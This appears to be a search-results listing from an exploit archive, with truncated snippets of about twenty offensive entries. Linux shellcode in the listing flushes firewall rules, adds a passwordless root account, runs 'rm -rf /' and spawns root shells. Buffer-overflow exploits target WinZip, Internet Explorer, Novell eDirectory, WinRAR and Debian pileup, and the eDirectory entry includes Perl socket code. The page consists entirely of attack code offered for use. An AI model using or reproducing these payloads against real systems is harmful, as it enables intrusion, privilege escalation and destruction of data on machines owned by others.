7594 matches found
linux/x86 - /sbin/ipchains -F 40 bytes
linux/x86 /sbin/ipchains -F 40 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word...
linux/x86 - add root user r00t with no password to /etc/passwd 69 bytes
linux/x86 add root user r00t with no password to /etc/passwd 69 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/14/2006 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd for Linux/x86 section .text global start start: ; open"/etc//passwd", OWRONLY |...
linux/x86 execve(rm -rf /) shellcode 45 bytes
No description provided by source. / By Kris Katterjohn 11/18/2006 45 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global start start: ; execve"/bin/rm", "/bin/rm", "-r", "-f", "/", NULL , NULL push byte 11 pop eax cdq push edx push byte 0x2f mov edi, esp push edx push word 0x66...
linux/x86 - setuid0 + execve/bin/sh 28 bytes
linux/x86 setuid0 + execve/bin/sh 28 bytes. Shellcode exploit for linx86 platform / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode once again... setuid 6 bytes + execve 22 bytes = 28 bytes Same as revenge-execve.c we start the 2 system cal...
linux/x86 execve(/bin/sh) 22 bytes
Exploit for linux/x86 platform in category shellcode ================================== linux/x86 execve/bin/sh 22 bytes ================================== / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode...
linux/x86 setuid(0) + execve(/bin/sh) 28 bytes
Exploit for linux/x86 platform in category shellcode ============================================== linux/x86 setuid0 + execve/bin/sh 28 bytes ============================================== / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode...
linux/x86 - execve/bin/sh 22 bytes
linux/x86 execve/bin/sh 22 bytes. Shellcode exploit for linx86 platform / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode http://www.0xcafebabe.it But this time it's 22 bytes We could start the shellcode with a mov...
WinZIP <= 10.0.7245 (FileView ActiveX) Remote Buffer Overflow Expl
Exploit for unknown platform in category remote exploits ===================================================================== WinZIP = 10.0.7245 FileView ActiveX Remote Buffer Overflow Exploit ===================================================================== / WinZip = 10.0.7245 FileView...
WinZip 10.0.7245 - FileView ActiveX Remote Buffer Overflow
/ WinZip - prdelka / include include inclu...
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 3
No description provided by source. / ----------------------------------------------------------------------- MS Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit Works on Windows XP versions including SP2 and 2K Author: M03 Credit: metasploit, jamikazu, yag kohnafor the...
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Expl 3
Exploit for unknown platform in category remote exploits ======================================================================= MS Internet Explorer 6/7 XML Core Services Remote Code Exec Exploit 3 ======================================================================= /...
Microsoft Internet Explorer 6/7 - XML Core Services Remote Code Execution (3)
/ ----------------------------------------------------------------------- MS Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit Works on Windows XP versions including SP2 and 2K Author: M03 Credit: metasploit, jamikazu, yag kohnafor the shellcode, LukeHack for the code, Greetz:...
linux/x86-64 execve/bin/sh 33 bytes
linux/x86-64 execve/bin/sh 33 bytes. Shellcode exploit for linx86-64 platform Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx shr $0x8, %rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq...
linux/x86-64 execve(/bin/sh) 33 bytes
Exploit for linux/x86-64 platform in category shellcode ===================================== linux/x86-64 execve/bin/sh 33 bytes ===================================== Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx...
Novell eDirectory <= 9.0 DHost Remote Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================================= Novell eDirectory | \ / / / / 30\10\06 / || / / mm. dM8 YMMMb. dMM8 YMMMMb dMMM' YMMMb dMMMP There are doors I have yet to open YMMM MMM' windows I have yet to look through...
Novell eDirectory NDS Server Stack Overflow (Exploit)
No description provided by source. !perl "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; destination IP address $ip = '192.168.1.25'; destination TCP port $port = 8028; RETurn address. 0x00, 0x0a, 0x0d,...
Novell eDirectory 8.8 NDS Server Remote Stack Overflow Exploit
No description provided by source. !perl "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; destination IP address $ip = '192.168.1.25'; destination TCP port $port = 8028; RETurn address. 0x00, 0x0a, 0x0d,...
WinRAR 3.30 Long Filename Buffer Overflow Exploit (more targets) (2)
No description provided by source. / IHS public source code WinRAR 3.3.0 and below local BOF exploit author : c0d3r , kaveh razavi [email protected] advisory : http://www.securityfocus.com/archive/1/420679 tnx to alpha who reported the vulnerability workaround: use the lastest version special tnx...
XGalaga 2.0.34 local game exploit (Red Hat 9.0)
No description provided by source. / 0x333xgalaga = XGalaga 2.0.34 local game exploit Red Hat 9.0 tested against xgalaga-2.0.34-1.i386.rpm under Red Hat Linux 9.0 - bug found by Steve Kemp - exploit coded by c0wboy @ 0x333 c 0x333 Outsider Security Labs / www.0x333.org / include stdio.h include...
Debian 2.2 /usr/bin/pileup Local Root Exploit
No description provided by source. / pileup-xpl.c - local root exploit by core Friday the 13th, July 2001 based almost entirely on code by Cody Tubbs loophole of hhp $ ./pileup-xpl pileup-xpl by core 2001 - beep beep root! usage: ./pileup-xpl offset align0..3 Ret-addr: 0xbfffe09c, offset: 0, alig...